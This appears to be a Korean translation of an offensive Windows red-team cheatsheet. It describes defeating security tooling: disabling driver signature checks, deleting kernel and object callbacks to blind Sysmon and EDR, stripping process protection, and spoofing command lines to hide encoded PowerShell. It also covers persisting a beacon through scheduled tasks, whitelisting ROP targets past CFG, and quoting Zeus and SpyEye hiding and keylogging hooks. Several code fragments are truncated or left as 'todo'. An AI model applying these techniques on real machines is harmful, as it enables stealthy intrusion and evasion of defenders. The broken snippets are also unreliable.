SSDT는 Service Descriptor Table에 정의되어 있습니다:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDT는 루트킷에 의해 자주 후킹되곤 했습니다. 해당 주소를 공격자 자신의 함수로 수정할 수 있었기 때문입니다. **Patchguard**는 내부 취약점이 존재하지 않는 한 이러한 가능성을 차단해 왔습니다.
> 오늘날 많은 안티바이러스 제품들도 이 트릭을 사용하고 있습니다. 아마도 악성 해커들과 동일한 기술을 사용하고 있을 것입니다;)
## 드라이버 진입점
드라이버 진입 프로시저는 다음과 같이 정의됩니다 :```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
나중에 코드를 추가하여 참조하지 않는 한, DriverObject 및 RegistryPath 매개변수에 UNREFERENCED_PARAMETER() 매크로를 사용하는 것이 매우 중요합니다.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## 입력 출력
클라이언트 측에서 드라이버와 통신하기 위해 "인터럽트" 역할로 MajorFunction `IRP_MJ_CREATE` 및 `IRP_MJ_CLOSE`를 사용하십시오.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
그런 다음 CreateClose 함수를 정의하세요 :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
전체 샘플 코드는 여기 : //
## 드라이버와 통신하기
사용자 모드 애플리케이션은 Microsoft Windows SDK 문서에 설명된 DeviceIoControl을 호출하여 드라이버에 IOCTL을 보냅니다. DeviceIoControl 호출은 I/O 관리자가 IRP_MJ_DEVICE_CONTROL 요청을 생성하여 최상위 드라이버로 보내도록 합니다 (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
사용자 영역 앱은 드라이버와 통신하기 위해 DeviceIoControl (ioapiset.h) 함수를 사용해야 합니다.
이 함수는 해당 **Device** 개체에 다양한 요청을 보내는 데 사용됩니다.
간단한 샘플 코드는 여기 : //todo
## 드라이버 서명
[일반 개념](#general-concepts) 섹션에서 설명했듯이 드라이버는 Windows 시스템에 설치하기 전에 서명되어야 합니다. 이를 우회하려면 일부 드라이버 또는 커널 익스플로잇을 사용해야 하지만(예: Gigabyte 드라이버 CVE), 여전히 수동으로 비활성화할 수 있습니다:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
그런 다음 컴퓨터를 다시 시작하세요. 물론 이러한 명령을 실행하려는 컴퓨터에 대해 로컬 관리자 권한이 있어야 합니다. 다시 시작이 필요하므로, 이것은 전혀 OPSEC이 아닙니다.
ObRegisterCallbacks (wdm.h)는 특정 작업(예: CreateProcess/OpenProcess(핸들 생성))에 의해 트리거될 때 사용자 모드 앱의 동작을 수정하는 데 사용할 수 있는 "사용자 정의" 콜백을 정의할 수 있게 해줍니다.
기본적으로 Ob 콜백은 OB_CALLBACK_REGISTRATION 구조체(콜백으로 채워짐)로 채워질 OB_OPERATION_REGISTRATION 배열로 정의됩니다.
OpenProcess/CreateProcess에서 트리거하는 예제:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks**는 사용자 정의 함수로, 콜백이 가로채질 때 호출되며, 따라서 작업을 허용하지 않거나 허용할 수 있습니다.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
참고 : My_PROCESS_ALL_ACCESS는 #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (win32 16진수 코드)로 정의할 수 있습니다.
ObCallbacks 패치 방법 : 이를 패치하는 방법은 여러 가지가 있지만, 이 목표를 달성하기 위한 가장 일반적인 두 가지 방법은 아마도 "nop-nop-nop-ret"과 같은 스키마로 obcallback 함수를 작성하거나, _CALLBACK_ENTRY_ITEM 항목에서 obcallback 함수 포인터를 지우는 것입니다. 이러한 기술은 실제로 PatchGuard를 트리거할 수 있으므로 실제 작전에서 이러한 기술을 사용할 때는 주의하시기 바랍니다.
커널 콜백은 주로 AV/EDR 제품이 의심스러운 동작을 모니터링하고 방지할 수 있는 더 나은 방법을 제공하기 위해 Microsoft에 의해 도입되었습니다. (그 이전에는 많은 보안 제품이 SSDT 후킹과 같은 커널 모드 패치를 사용하여 동일한 작업을 수행했지만, 새로운 PatchGuard 보호 기능으로 인해 이 새로운 솔루션을 사용할 수밖에 없었습니다.)
커널 콜백에는 여러 유형이 있으며, 특히 다음과 같습니다.
- ProcessNotify : 프로세스가 생성되거나 종료될 때 호출됩니다.
- ThreadNotify : 스레드가 생성되거나 종료(삭제)될 때 호출됩니다.
- LoadImageNotify : 일부 실행 가능한 이미지가 다른 exe에 의해 로드될 때 호출됩니다 (예: 프로세스에 의해 로드된 DLL).
각각에는 연결된 함수가 있으며, 예를 들어 PsSetCreateProcessNotifyRoutineEx가 드라이버에서 이를 설정하는 데 사용됩니다. 후자는 Windows 시스템에서 새 프로세스가 생성되거나 삭제될 때 콜백 루틴을 등록합니다. 해당 프로토타입은 다음과 같이 정의됩니다.```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX**는 이벤트가 트리거될 때 호출될 콜백 루틴에 대한 포인터입니다 (여기서는 프로세스 생성/종료).
**Remove**는 PsSetCreateProcessNotify가 콜백 함수를 등록할지 삭제할지 나타내는 간단한 플래그입니다 (드라이버의 정리 함수에서 유용합니다).
콜백 함수는 다음 프로토타입을 사용합니다 :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
여기서 Process는 현재 생성/삭제되는 프로세스이고, ProcessId는 이 프로세스의 ID이며, CreateInfo는 이 프로세스에 대한 다양한 정보를 포함하는 구조체입니다.
드라이버가 새 콜백 루틴을 등록하면 해당 주소는 일반적으로 Psp콜백_이름 과 같은 이름의 배열에 저장됩니다. 예를 들어, 모든 ProcessNotifyRoutine 함수의 목록은 PspCreateProcessNotifyRoutine 배열에 저장됩니다.
이러한 콜백을 제거하려면 이 배열을 비우기만 하면 됩니다!
안타깝게도, 이 흥미로운 배열의 주소를 직접 얻을 수 있는 방법은 없습니다. 다행히도 메모리에서 특정 오프셋을 검색하여 수동으로 찾는 방법은 여러 가지가 있습니다.
올바른 주소를 찾으면 등록된 모든 콜백을 열거하고 드라이버 이름으로 필터링한 다음(Sysmon 드라이버일까요? :)) 목록에서 해당 콜백 함수만 제거하면 됩니다.
보호된 프로세스(Protected Process)는 Windows Vista부터 도입되었습니다. 이는 프로세스가 보호되는지 여부를 세 가지 흥미로운 멤버로 정의하는 EPROCESS라는 구조체(정의: https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess)로 정의할 수 있습니다.``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
세 번째 멤버(Protection)는 PS_PROTECTION 구조체이며, 아래와 같이 정의됩니다 :```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
PPL 보호를 제거하려면 SignatureLevel, SectionSignatureLevel 및 Protection을 0으로 설정해야 합니다.
EPROCESS 기본 주소와 PS_PROTECTION 사이의 오프셋이 0x6c8이므로, 두 값을 더하여 이를 얻을 수 있습니다.
예제 코드 : //todo
참고 : 이 부분의 몇 가지 예제는 다음에서 가져왔습니다 : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
Windows OS에서 작업을 예약하는 "일반적인" 방법은 그래픽 인터페이스(작업 스케줄러)를 사용하는 것입니다. 그러나 우리에게는 그다지 실용적이지 않습니다. 침해된 시스템에 대해 명령줄 세션만 확보하는 경우가 많기 때문입니다.
다행히도 Win32 API를 사용하여 이러한 작업을 만들 수 있으며, 이를 통해 비콘(beacon) 또는 privesc를 위한 훌륭한 지속성을 확보할 수 있습니다.
기본적으로 COM 라이브러리를 초기화한 다음 CoCreateInstance() API로 ITaskService 클래스의 새 인스턴스를 생성해야 합니다. 이제 ITaskService 개체를 편집하여 루트 폴더, 작업(action), 시간 등을 설정할 수 있습니다. 아래는 예시입니다 :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## 명령줄 스푸핑
sysmon/process hacker 모니터링 환경에서도 완벽하게 작동합니다. 명령줄 인자를 숨길 수 있게 해주며, 침투 테스트/레드 팀 작전에서 유용할 수 있습니다 (```powershell -enc .....```)
이 목표를 달성하려면 "정상적인" 명령줄 인자로 새 프로세스를 일시 중단 모드로 생성한 다음, PEB에서 해당 인자를 직접 편집하면 됩니다.
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# 기타
## x64 호출 규약
- 처음 4개의 정수 인자는 `RCX`, `RDX`, `R8`, `R9` 레지스터에 전달됩니다.
- 추가 인자는 스택에 푸시됩니다.
- 반환 주소 뒤에는 `RCX`, `RDX`, `R8`, `R9`를 위해 예약된 32바이트 영역이 있습니다.
- 지역 변수와 비휘발성 레지스터는 반환 주소 위에 저장됩니다.
- `RBP`는 지역 변수/함수 인자를 참조하는 데 사용되지 않으며, `RSP`는 함수 전체에 걸쳐 일정하게 유지됩니다.
> 참고:
> - 함수에 가변 개수의 인자가 있으면 스택을 사용해 전달해야 합니다
> - 반환 값이 구조체인 경우, 호출자가 반환 값을 위한 공간을 할당하고 그 공간에 대한 포인터를 첫 번째 인자로 전달해야 합니다
> - 피호출자는 `RBX`, `RBP`, `R12`–`R15` 레지스터의 값을 보존해야 하지만, 다른 레지스터는 자유롭게 수정할 수 있습니다
> - 호출 지점에서 스택은 16바이트 경계에 정렬됩니다
> - 피호출자는 반환 전에 스택 포인터(`RSP`)를 원래 값으로 복원해야 합니다
## 간접 실행
여기서 간접 실행은 일부 작업을 실행하기 위한 ROP를 의미합니다. 올바른 레지스터에 매개변수를 추가해야 하며, 이를 위해서는 [x64 호출 규약](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention)을 이해해야 합니다.
- `CONTEXT` 구조체를 사용하는 ROP는 현재 컨텍스트를 검색하기 위해 `RtlCaptureContext`가 필요하며, 올바른 레지스터에 적절한 함수 인자가 채워진 `CONTEXT` 구조체를 매개변수로 사용해 ROP 실행을 계속하려면 `NtContinue`가 필요합니다. 원한다면 어셈블리로 ROP를 직접 구축할 수도 있습니다.
### SetProcessValidCallTargets를 사용한 CFG 우회
이것은 실제 우회가 아니라 ROP에서 사용 중인 함수(즉, `NtContinue`)를 허용 목록에 추가하는 것입니다.```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
이 기법은 잘 알려진 악성코드 Emotet에서 발견되었습니다. 새로운 powershell 프로세스를 생성하기 위해(일부 페이로드를 실행하려는 의도로) WMI 인스턴스와 함께 COM API를 사용합니다. 이 트릭을 통해 powershell 프로세스는 WMIPrvSE 프로세스의 자식 프로세스로 생성되며, 이는 의심스러운 exe 또는 Word 파일에서 생성되는 것보다 훨씬 덜 의심스럽습니다.
잘 알려진 Zeus 악성코드는 손상된 시스템에서 키 입력, 비밀번호 등의 로그를 숨기기 위해 상당히 기발한 방법을 사용합니다. NtQueryDirectoryFile() 함수를 후킹하여 표시되는 결과를 필터링합니다.```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## SpyEye 키로거 후킹 기법
SpyEye 악성코드는 키 입력을 저장하기 위해 ```TranslateMessage()``` 함수를 후킹합니다. 후크 프로시저는 ```GetKeyboardState``` 함수를 사용하여 입력된 문자를 20000바이트 버퍼에 추가합니다.
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Wannacry 킬 스위치
Wannacry 랜섬웨어는 메인 페이로드 실행 전에 확인되는 killswitch URL을 사용했습니다. 이 도메인이 등록된 후, 모든 Wannacry 샘플은 비활성화되었습니다. 이 기법은 여기에서 소개되었습니다 : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
재미있는 사실: 이 도메인은 난독화 없이 일반 문자열로 존재했습니다. 꽤 재밌네요:)